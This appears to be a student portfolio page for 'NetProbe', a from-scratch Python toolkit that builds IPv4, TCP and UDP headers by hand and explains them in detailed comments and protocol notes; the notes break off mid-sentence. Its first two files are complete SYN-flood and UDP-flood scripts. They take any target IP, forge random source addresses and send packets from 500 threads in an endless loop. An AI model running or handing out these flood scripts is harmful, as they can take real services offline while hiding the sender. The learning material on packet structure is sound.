NetProbe — Low-Level Network Analysis Toolkit
Built a low-level network toolkit in Python from scratch — raw sockets, manual IPv4/TCP/UDP header construction, RFC 1071 checksums, live packet capture, SYN port scanner, and DoS simulation. No external libraries.
Tools: Python, Socket, Struct, Threading, ThreadPoolExecutor, Linux Raw Sockets, Wireshark (for verification), Kali Linux
Added: February 25, 2026
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | import os import sys import socket import random from concurrent.futures import ThreadPoolExecutor sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from core.ip_header import IPHeader from core.tcp_header import TCPFlags, TCPHeader packets_sent = 0 def random_ip() -> str: return f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}" def flood_packet(target_ip: str, target_port: int, sock: socket.socket) -> None: global packets_sent src_ip = random_ip() src_port = random.randint(1024, 65535) tcp_obj = TCPHeader(src_port=src_port, dst_port=target_port, flags=TCPFlags.SYN) tcp_header = tcp_obj.build(src_ip, target_ip) ip_obj = IPHeader(src=src_ip, dst=target_ip, ttl=random.randint(64, 128)) ip_header = ip_obj.build(payload_length=len(tcp_header)) packet = ip_header + tcp_header try: sock.sendto(packet, (target_ip, 0)) packets_sent += 1 if packets_sent % 1000 == 0: print(f"[*] Packets sent: {packets_sent}") except Exception: pass def main() -> None: target_ip = input("Target IP: ").strip() target_port = input("Target port [default: 80]: ").strip() target_port = int(target_port) if target_port else 80 print(f"\n[!] Starting SYN flood on {target_ip}:{target_port}") print(f"[!] Press Ctrl+C to stop\n") sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) try: with ThreadPoolExecutor(max_workers=500) as executor: while True: executor.submit(flood_packet, target_ip, target_port, sock) except KeyboardInterrupt: print(f"\n[*] Flood stopped.") print(f"[*] Total packets sent: {packets_sent}") sock.close() if __name__ == '__main__': main() |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | import os import sys import socket import random from concurrent.futures import ThreadPoolExecutor sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from core.ip_header import IPHeader from core.udp_header import UDPHeader packets_sent = 0 def random_ip() -> str: return f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}" def flood_packet(target_ip: str, target_port: int, sock: socket.socket) -> None: global packets_sent src_ip = random_ip() src_port = random.randint(1024, 65535) udp_obj = UDPHeader(src_port=src_port, dst_port=target_port) udp_header = udp_obj.build(src_ip, target_ip) ip_obj = IPHeader( src=src_ip, dst=target_ip, protocol=17, ttl=random.randint(64, 128) ) ip_header = ip_obj.build(payload_length=len(udp_header)) packet = ip_header + udp_header try: sock.sendto(packet, (target_ip, 0)) packets_sent += 1 if packets_sent % 1000 == 0: print(f"[*] Packets sent: {packets_sent}") except Exception: pass def main() -> None: target_ip = input("Target IP: ").strip() target_port = input("Target port [default: 53]: ").strip() target_port = int(target_port) if target_port else 53 print(f"\n[!] Starting UDP flood on {target_ip}:{target_port}") print(f"[!] Press Ctrl+C to stop\n") sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) try: with ThreadPoolExecutor(max_workers=500) as executor: while True: executor.submit(flood_packet, target_ip, target_port, sock) except KeyboardInterrupt: print(f"\n[*] Flood stopped.") print(f"[*] Total packets sent: {packets_sent}") sock.close() if __name__ == '__main__': main() |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 | """ core/ip_header.py — IPv4 Header Construction from Scratch ========================================================== WHAT IS AN IP HEADER? Every packet traveling across the internet begins with an IP header. It's the envelope — it tells routers where the packet came from, where it's going, and how to handle it. We're building this byte by byte, which means we need to understand exactly what each field means and how big it is. RFC 791 is the spec: https://tools.ietf.org/html/rfc791 """ import socket import struct import random class IPHeader: """ Represents and serializes an IPv4 header. Usage: ip = IPHeader(src="192.168.1.1", dst="10.0.0.1") raw_bytes = ip.build(payload_length=20) # 20 = TCP header size """ # Protocol numbers are standardized by IANA. # When the IP layer receives a packet, it looks at this field # to know which module should handle the payload. PROTO_TCP = socket.IPPROTO_TCP # 6 PROTO_UDP = socket.IPPROTO_UDP # 17 PROTO_ICMP = socket.IPPROTO_ICMP # 1 def __init__( self, src: str, dst: str, protocol: int = PROTO_TCP, ttl: int = 64, flags: int = 0, frag_offset: int = 0, tos: int = 0, ): """ Args: src : Source IP as dotted-decimal string e.g. "192.168.1.1" dst : Destination IP as dotted-decimal string protocol : What's inside the payload? TCP=6, UDP=17, ICMP=1 ttl : Time To Live — each router decrements this by 1. When it hits 0, the packet is dropped and an ICMP "Time Exceeded" is sent back. Prevents infinite loops. Linux default is 64, Windows is 128. flags : 3-bit field. Bit 0: Reserved, must be 0 Bit 1: DF (Don't Fragment) — routers must not split packet Bit 2: MF (More Fragments) — more fragments follow this one frag_offset : If a large packet was fragmented, this tells the receiver where in the original datagram this fragment belongs. Unit is 8-byte blocks (so multiply by 8 to get byte offset). tos : Type of Service — used for QoS (Quality of Service). Modern networks use DSCP instead, but this byte remains. """ self.src = src self.dst = dst self.protocol = protocol self.ttl = ttl self.flags = flags self.frag_offset = frag_offset self.tos = tos # IP header version. We're always IPv4 here. self.version = 4 # IHL = Internet Header Length, measured in 32-bit words (4-byte units). # A standard header with no options = 20 bytes = 5 words. # Options can extend this up to 60 bytes (15 words), but we won't use them. self.ihl = 5 # Identification: a 16-bit ID assigned by the sender. # If a packet is fragmented, all fragments share the same ID so the # receiver can reassemble them. We randomize it for each instance. self.identification = random.randint(1, 65535) def build(self, payload_length: int = 0) -> bytes: """ Serialize the IP header into raw bytes ready to send. STRUCT FORMAT STRING EXPLAINED: "!BBHHHBBH4s4s" ----------------------------------------------- '!' = Network byte order (Big-Endian). The internet standard. x86 CPUs are Little-Endian, so struct handles the flip for us. CRITICAL: Without this, your checksums and lengths will be wrong. 'B' = unsigned char = 1 byte (8 bits) 'H' = unsigned short = 2 bytes (16 bits) '4s' = 4-byte string (used for packed IP addresses) Field by field: B = version(4) + ihl(4) packed into 1 byte ← we do this manually below B = tos H = total_length (header + payload) H = identification H = flags(3 bits) + frag_offset(13 bits) packed into 2 bytes B = ttl B = protocol H = checksum (0 during calculation, then replaced) 4s = source IP as 4 packed bytes 4s = destination IP as 4 packed bytes Args: payload_length: Size of the payload (e.g., TCP header + data) in bytes. Returns: 20-byte IP header as bytes object. """ # Total length = IP header (20 bytes) + everything after it total_length = (self.ihl * 4) + payload_length # Pack version and IHL into a single byte. # version=4 goes in the HIGH nibble, ihl=5 in the LOW nibble. # Visually: 0100 0101 = 0x45 # (4 << 4) shifts 4 into position: 0100_0000 # | 5 sets the lower bits: 0100_0101 ver_ihl = (self.version << 4) | self.ihl # Pack flags and fragment offset into a 16-bit field. # flags occupy the top 3 bits, frag_offset the bottom 13. # (flags << 13) | frag_offset flags_frag = (self.flags << 13) | self.frag_offset # Convert dotted-decimal IPs to 4-byte packed binary. # "192.168.1.1" → b'\xc0\xa8\x01\x01' # socket.inet_aton does exactly this conversion. src_bytes = socket.inet_aton(self.src) dst_bytes = socket.inet_aton(self.dst) # First pass: build the header with checksum = 0. # We MUST set checksum to 0 before computing it — the algorithm # treats the checksum field as 0 during computation. header = struct.pack( "!BBHHHBBH4s4s", ver_ihl, # B: version + IHL self.tos, # B: type of service total_length, # H: total packet length self.identification,# H: packet ID flags_frag, # H: flags + fragment offset self.ttl, # B: time to live self.protocol, # B: next-layer protocol 0, # H: checksum placeholder — MUST be 0 first src_bytes, # 4s: source address dst_bytes, # 4s: destination address ) # Second pass: compute the real checksum and rebuild. checksum = self._calculate_checksum(header) # Rebuild with the actual checksum slotted in. header = struct.pack( "!BBHHHBBH4s4s", ver_ihl, self.tos, total_length, self.identification, flags_frag, self.ttl, self.protocol, checksum, # ← real checksum now src_bytes, dst_bytes, ) return header def _calculate_checksum(self, data: bytes) -> int: """ RFC 1071 Internet Checksum Algorithm. WHY DO WE NEED A CHECKSUM? -------------------------- Network hardware can corrupt bits. The checksum lets the receiver detect this. If the received checksum doesn't match, the packet is silently discarded. HOW IT WORKS (One's Complement Sum): ------------------------------------- 1. Split the header into 16-bit (2-byte) words. 2. Add all the words together. If any addition overflows 16 bits, wrap the overflow back into the sum (one's complement addition). 3. Take the bitwise complement (flip all bits) of the result. 4. That's your checksum. VERIFICATION (how the receiver checks it): ------------------------------------------- The receiver runs the same algorithm on the received header INCLUDING the checksum field. If everything is intact, the result will be 0xFFFF (all ones), which in one's complement means "valid". Args: data: The raw bytes to checksum (header with checksum field = 0). Returns: 16-bit checksum as an integer. """ # If data length is odd, pad with a zero byte. # The algorithm works on 16-bit pairs, so we need even length. if len(data) % 2 != 0: data += b'\x00' checksum = 0 # Iterate over 2 bytes at a time. # range(0, len, 2) gives us indices: 0, 2, 4, 6, ... for i in range(0, len(data), 2): # Combine two adjacent bytes into a 16-bit word. # data[i] is the HIGH byte, data[i+1] is the LOW byte. # (high << 8) shifts it 8 bits left to make room for low. # Example: 0x45 and 0x00 → 0x4500 word = (data[i] << 8) + data[i + 1] checksum += word # Handle overflow: if the sum exceeded 16 bits, the upper bits # (the "carry") need to be folded back in. # (checksum >> 16) extracts the carry (bits above position 15). # We keep doing this until there's no carry left. while checksum >> 16: checksum = (checksum & 0xFFFF) + (checksum >> 16) # One's complement: flip every bit. # ~checksum in Python gives a negative number because Python integers # are arbitrary-precision, so we AND with 0xFFFF to keep only 16 bits. return ~checksum & 0xFFFF def __repr__(self) -> str: return ( f"IPHeader(src={self.src}, dst={self.dst}, " f"proto={self.protocol}, ttl={self.ttl}, id={self.identification:#06x})" ) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 | """ core/tcp_header.py — TCP Header Construction from Scratch ========================================================== WHAT IS TCP? TCP (Transmission Control Protocol) sits on top of IP. While IP handles routing packets from A to B, TCP handles: - Reliability: guarantees delivery via acknowledgments (ACKs) - Ordering: reassembles out-of-order segments - Flow control: doesn't overwhelm the receiver - Connection state: SYN → SYN-ACK → ACK (the "three-way handshake") THE KEY DIFFERENCE FROM IP CHECKSUM: TCP's checksum covers not just the TCP header+data, but also a "pseudo-header" pulled from the IP layer. This means TCP and IP are coupled — the TCP checksum will change if the source IP changes. This is intentional: it detects misrouted packets. RFC 793 is the spec: https://tools.ietf.org/html/rfc793 TCP HEADER STRUCTURE (20 bytes minimum): 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ """ import socket import struct import random class TCPFlags: """ TCP control flags. These single bits in the header control connection state. WHY DO FLAGS MATTER FOR SECURITY TOOLS? ---------------------------------------- - SYN-only: Starting a connection (SYN flood exploits this) - SYN+ACK: Server's response to SYN - ACK-only: Data acknowledgment - FIN: Graceful close (one direction) - RST: Abrupt close / reject - PSH: "Deliver this immediately" — don't buffer - URG: Urgent data present (rare, often exploited in old attacks) Port scanners like nmap send crafted flag combinations and analyze responses to fingerprint OSes and detect firewall behavior. """ SYN = 0x02 # 0b00000010 — Synchronize (initiate connection) ACK = 0x10 # 0b00010000 — Acknowledgment FIN = 0x01 # 0b00000001 — Finish RST = 0x04 # 0b00000100 — Reset (abort connection) PSH = 0x08 # 0b00001000 — Push (don't buffer, deliver now) URG = 0x20 # 0b00100000 — Urgent pointer is valid # Common combinations SYN_ACK = SYN | ACK # 0x12 — server's handshake response FIN_ACK = FIN | ACK # 0x11 — graceful teardown step @staticmethod def to_string(flags: int) -> str: """Convert a flags byte to a human-readable label like 'SYN|ACK'.""" names = [] mapping = [ (TCPFlags.FIN, "FIN"), (TCPFlags.SYN, "SYN"), (TCPFlags.RST, "RST"), (TCPFlags.PSH, "PSH"), (TCPFlags.ACK, "ACK"), (TCPFlags.URG, "URG"), ] for bit, name in mapping: if flags & bit: names.append(name) return "|".join(names) if names else "NONE" @staticmethod def from_string(flag_str: str) -> int: """ Parse a string like "SYN" or "SYN|ACK" into the integer flags value. Useful for building packets from human-readable specifications. """ mapping = { "FIN": TCPFlags.FIN, "SYN": TCPFlags.SYN, "RST": TCPFlags.RST, "PSH": TCPFlags.PSH, "ACK": TCPFlags.ACK, "URG": TCPFlags.URG, } result = 0 for part in flag_str.upper().split("|"): part = part.strip() if part not in mapping: raise ValueError(f"Unknown TCP flag: '{part}'. Valid flags: {list(mapping.keys())}") result |= mapping[part] return result class TCPHeader: """ Represents and serializes a TCP header. Usage: tcp = TCPHeader( src_port=12345, dst_port=80, flags=TCPFlags.SYN ) raw_bytes = tcp.build(src_ip="192.168.1.1", dst_ip="10.0.0.1") """ def __init__( self, src_port: int, dst_port: int, flags: int = TCPFlags.SYN, seq: int = None, ack_seq: int = 0, window: int = 65535, urgent_ptr: int = 0, data: bytes = b"", ): """ Args: src_port : Source port number (1–65535). For crafted packets, this is often randomized to avoid conflicts with the OS's connection tracking. dst_port : Destination port. 80=HTTP, 443=HTTPS, 22=SSH, etc. flags : Control flags (use TCPFlags constants or | combinations). seq : Sequence number. Tracks which byte of the stream this is. ISN (Initial Sequence Number) should be random for security — predictable ISNs led to TCP hijacking attacks in the 90s. If None, we generate a random 32-bit value. ack_seq : Acknowledgment number. "I've received everything up to this byte, send me the next one." Only meaningful when ACK flag is set. window : Receive window size. Tells the sender how many bytes the receiver can buffer. 65535 is the maximum without window scaling (TCP option we're not implementing here). urgent_ptr : Only relevant when URG flag is set. Points to end of urgent data. Rarely used in practice. data : Payload bytes (application data). Usually empty for crafted control packets like SYN. """ self.src_port = src_port self.dst_port = dst_port self.flags = flags self.seq = seq if seq is not None else random.randint(0, 2**32 - 1) self.ack_seq = ack_seq self.window = window self.urgent_ptr = urgent_ptr self.data = data # Data Offset: indicates where the data begins (i.e., header length). # Measured in 32-bit words, just like IP's IHL. # Minimum TCP header = 20 bytes = 5 words. We don't use options. self.data_offset = 5 def build(self, src_ip: str, dst_ip: str) -> bytes: """ Serialize the TCP header + data into raw bytes. WHY DOES TCP'S build() NEED THE IPs? -------------------------------------- TCP's checksum algorithm requires a "pseudo-header" — a temporary 12-byte structure containing source IP, destination IP, protocol, and TCP segment length. This ties the TCP checksum to the IP addresses, so misrouted packets (with correct IP headers but wrong TCP payload) will be detected. The pseudo-header is ONLY used for checksum calculation. It is NOT transmitted on the wire. Args: src_ip: Source IP (must match the IP header you'll use) dst_ip: Destination IP Returns: TCP header + data as bytes. """ # data_offset is in the HIGH nibble of this byte (top 4 bits). # The low 4 bits are reserved (set to 0). # So: (5 << 4) | 0 = 0x50 data_offset_reserved = (self.data_offset << 4) + 0 # TCP length = header (20 bytes) + data tcp_segment_length = 20 + len(self.data) # Build the pseudo-header for checksum calculation. # Structure (12 bytes): # 4s = source IP # 4s = destination IP # B = zero padding (always 0) # B = protocol (always 6 for TCP) # H = TCP segment length (header + data) pseudo_header = struct.pack( "!4s4sBBH", socket.inet_aton(src_ip), # source IP socket.inet_aton(dst_ip), # destination IP 0, # reserved zero byte socket.IPPROTO_TCP, # protocol = 6 tcp_segment_length, # TCP length ) # Build the TCP header with checksum = 0 first. # Format: "!HHIIHHHH" # H = src_port # H = dst_port # I = seq (32-bit unsigned int) # I = ack_seq (32-bit unsigned int) # H = data_offset(4) + reserved(6) + flags(6) packed into 16 bits # H = window # H = checksum (0 for now) # H = urgent pointer # Pack data_offset, reserved, and flags into the same 16-bit field. # Structure: # [15:12] = data offset (4 bits) # [11:6] = reserved (6 bits, must be 0) # [5:0] = flags (6 bits) # Formula: (data_offset << 12) | (0 << 6) | flags offset_flags = (self.data_offset << 12) | (0 << 6) | self.flags tcp_header = struct.pack( "!HHIIHHHH", self.src_port, # H: source port self.dst_port, # H: destination port self.seq, # I: sequence number (32-bit) self.ack_seq, # I: acknowledgment number (32-bit) offset_flags, # H: data offset + reserved + flags self.window, # H: window size 0, # H: checksum placeholder self.urgent_ptr, # H: URG Pointer ) # The checksum input = pseudo_header + tcp_header + data. # We checksum all of it together. checksum_input = pseudo_header + tcp_header + self.data checksum = self._calculate_checksum(checksum_input) # Rebuild with real checksum. tcp_header = struct.pack( "!HHIIHHHH", self.src_port, self.dst_port, self.seq, self.ack_seq, offset_flags, self.window, checksum, # ← real checksum self.urgent_ptr, ) return tcp_header + self.data def _calculate_checksum(self, data: bytes) -> int: """ Same RFC 1071 one's complement checksum as IP. (We could inherit from a base class — refactoring opportunity for later!) """ if len(data) % 2 != 0: data += b'\x00' checksum = 0 for i in range(0, len(data), 2): word = (data[i] << 8) + data[i + 1] checksum += word while checksum >> 16: checksum = (checksum & 0xFFFF) + (checksum >> 16) return ~checksum & 0xFFFF def __repr__(self) -> str: return ( f"TCPHeader(src_port={self.src_port}, dst_port={self.dst_port}, " f"flags={TCPFlags.to_string(self.flags)}, seq={self.seq:#010x}, " f"ack={self.ack_seq:#010x})" ) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 | """ core/udp_header.py — UDP Header Construction from Scratch ========================================================== WHAT IS UDP? UDP (User Datagram Protocol) is TCP's simpler cousin. It trades reliability for speed: - No connection setup (no handshake) - No acknowledgments or retransmission - No ordering guarantees - Minimal header overhead (8 bytes vs TCP's 20) WHO USES UDP? - DNS (port 53): You want fast lookups, not guaranteed delivery - DHCP (port 67/68): Network configuration at boot - Video streaming (port varies): A dropped frame is better than a late one - VoIP / online games: Latency matters more than perfection - NTP (port 123): Time sync WHY DOES UDP MATTER FOR SECURITY? - UDP flood attacks: Easy to generate massive volumes with no handshake overhead - DNS amplification: Small query → large response, used in DDoS amplification - UDP port scanning: Different responses reveal port state UDP HEADER (just 8 bytes!): 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Length | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data (variable) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ RFC 768: https://tools.ietf.org/html/rfc768 """ import socket import struct class UDPHeader: """ Represents and serializes a UDP header. Notice how much simpler this is than TCP. That simplicity is exactly why UDP is used for high-throughput applications — and also why it's easy to flood. Usage: udp = UDPHeader(src_port=54321, dst_port=53, data=b"\\x00\\x01...") raw_bytes = udp.build(src_ip="192.168.1.1", dst_ip="8.8.8.8") """ def __init__(self, src_port: int, dst_port: int, data: bytes = b""): """ Args: src_port : Source port (can be randomized for UDP floods/spoofing). dst_port : Destination port. Common targets: 53 (DNS), 123 (NTP), 161 (SNMP), 19 (chargen — classic amplification target). data : Payload bytes. Often a DNS query, NTP request, etc. """ self.src_port = src_port self.dst_port = dst_port self.data = data def build(self, src_ip: str, dst_ip: str) -> bytes: """ Serialize UDP header + data into raw bytes. NOTE ON UDP CHECKSUM: --------------------- Unlike TCP where the checksum is mandatory, the UDP checksum is technically optional in IPv4 — a value of 0x0000 means "no checksum". However, in IPv6, UDP checksum is mandatory (since IPv6 has no IP header checksum). We always compute it here for correctness. Like TCP, UDP uses the same IP pseudo-header for checksum computation. This is defined in RFC 768. Args: src_ip: Must match the IP header (for checksum correctness). dst_ip: Destination IP. Returns: UDP header (8 bytes) + data. """ # UDP length field = header (8 bytes) + data length. # This is different from IP's total_length which includes the IP header. udp_length = 8 + len(self.data) # Build the pseudo-header (same concept as TCP's). # 12 bytes: src_ip, dst_ip, zero, protocol=17, udp_length pseudo_header = struct.pack( "!4s4sBBH", socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, # zero padding byte socket.IPPROTO_UDP, # protocol = 17 udp_length, # UDP length (NOT TCP length, not IP length) ) # Build UDP header with checksum = 0 for calculation. # Format: "!HHHH" # H = source port # H = destination port # H = length # H = checksum udp_header = struct.pack( "!HHHH", self.src_port, self.dst_port, udp_length, 0, # checksum = 0 initially ) # Checksum covers: pseudo_header + udp_header + data checksum_input = pseudo_header + udp_header + self.data checksum = self._calculate_checksum(checksum_input) # Rebuild with real checksum. # Edge case: if checksum computes to 0x0000, we must send 0xFFFF instead. # (Because 0x0000 is the "no checksum" sentinel value in UDP.) if checksum == 0: checksum = 0xFFFF udp_header = struct.pack( "!HHHH", self.src_port, self.dst_port, udp_length, checksum, ) return udp_header + self.data def _calculate_checksum(self, data: bytes) -> int: """RFC 1071 one's complement checksum — same algorithm as IP and TCP.""" if len(data) % 2 != 0: data += b'\x00' checksum = 0 for i in range(0, len(data), 2): word = (data[i] << 8) + data[i + 1] checksum += word while checksum >> 16: checksum = (checksum & 0xFFFF) + (checksum >> 16) return ~checksum & 0xFFFF def __repr__(self) -> str: return ( f"UDPHeader(src_port={self.src_port}, dst_port={self.dst_port}, " f"data_len={len(self.data)} bytes)" ) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 | # NetProbe — Protocol Notes & Project Documentation ## What Is NetProbe NetProbe is a low-level network analysis and attack simulation toolkit built entirely from scratch in Python. It implements IPv4, TCP, and UDP protocol headers manually using raw sockets and Python's `struct` module — without relying on high-level libraries like Scapy. The goal was not to build the fastest or most feature-rich tool, but to understand exactly what happens at the byte level when two machines communicate. Every field, every bit, every checksum is implemented and understood from first principles. --- ## Project Structure ``` netprobe/ ├── core/ │ ├── ip_header.py # IPv4 header construction │ ├── tcp_header.py # TCP header construction │ └── udp_header.py # UDP header construction ├── tools/ │ ├── sniffer.py # Raw packet capture and parsing │ ├── port_scanner.py # TCP SYN port scanner │ ├── handshake_monitor.py # TCP handshake detection │ └── packet_crafter.py # Interactive packet builder ├── attacks/ │ ├── syn_flood.py # TCP SYN flood simulation │ └── udp_flood.py # UDP flood simulation └── docs/ └── protocol_notes.md # This file ``` --- ## What I Learned ### 1. How Packets Are Actually Structured Every packet on the internet is just bytes. When you visit a website, your browser's "GET /" request gets wrapped in layers — first TCP, then IP, then Ethernet. Each layer adds its own header in front of the data from the layer above. This is called **encapsulation**. ``` Ethernet header (14 bytes) └── IP header (20 bytes) └── TCP header (20 bytes) └── Your data ("GET / HTTP/1.1...") ``` To read or build a packet from scratch, you need to know exactly how many bytes each field occupies and in what order — because the receiving machine reads them at fixed positions. There is no punctuation, no labels, just raw bytes in a specific sequence that both sides agreed on via the RFC specification. --- ### 2. IP Headers — The Envelope The IPv4 header is 20 bytes minimum. Every field has a specific size and position defined in RFC 791. ``` Byte 0: Version (4 bits) + IHL (4 bits) Byte 1: Type of Service Bytes 2-3: Total Length Bytes 4-5: Identification Bytes 6-7: Flags (3 bits) + Fragment Offset (13 bits) Byte 8: TTL Byte 9: Protocol (6=TCP, 17=UDP, 1=ICMP) Bytes 10-11: Header Checksum Bytes 12-15: Source IP Bytes 16-19: Destination IP ``` **Key insight — packing multiple fields into one byte:** Version and IHL both fit in one byte. Version occupies the top 4 bits, IHL the bottom 4. To pack them: ```python ver_ihl = (version << 4) | ihl # shift version left, OR with ihl ``` To unpack: ```python version = ver_ihl >> 4 # shift right to get top 4 bits ihl = ver_ihl & 0x0F # mask bottom 4 bits ``` **TTL as a fingerprinting tool:** Operating systems set TTL to different starting values: - Linux/Mac: 64 - Windows: 128 - Network equipment: 255 When you capture a packet and see TTL=62, the packet passed through 2 routers before reaching you (64 - 2 = 62). This helps map network topology without any special tools. --- ### 3. Checksums — RFC 1071 Both IP and TCP use checksums to detect corruption. The algorithm (RFC 1071) works as follows: 1. Split the header into 16-bit words 2. Sum all words as integers 3. Fold any carry bits back in: `(sum & 0xFFFF) + (sum >> 16)` 4. Take the one's complement: `~sum & 0xFFFF` **Why the checksum field is set to 0 before calculation:** The checksum covers all header bytes including the checksum field itself. Since you can't include the answer in its own calculation, you set it to 0 first, compute, then replace it with the real value. **Verification:** A receiver sums all words including the checksum field. If the result is `0xFFFF`, the packet is intact. If not, it was corrupted in transit. --- ### 4. TCP — Reliability Over IP TCP adds reliability on top of IP, which provides none. IP just tries to deliver packets — it doesn't guarantee delivery, order, or integrity. TCP fixes all of this. **The Three-Way Handshake:** ``` Client → Server: SYN (I want to connect, my seq starts at X) Server → Client: SYN + ACK (OK, my seq starts at Y, I got your X) Client → Server: ACK (Got it, connection established) ``` After this exchange, both sides know each other's starting sequence numbers and the connection is established. **Why Sequence Numbers Are Random:** If sequence numbers were predictable (starting at 0 every time), an attacker who could observe traffic patterns could inject packets into an existing connection without seeing the actual traffic — a TCP hijacking attack. Kevin 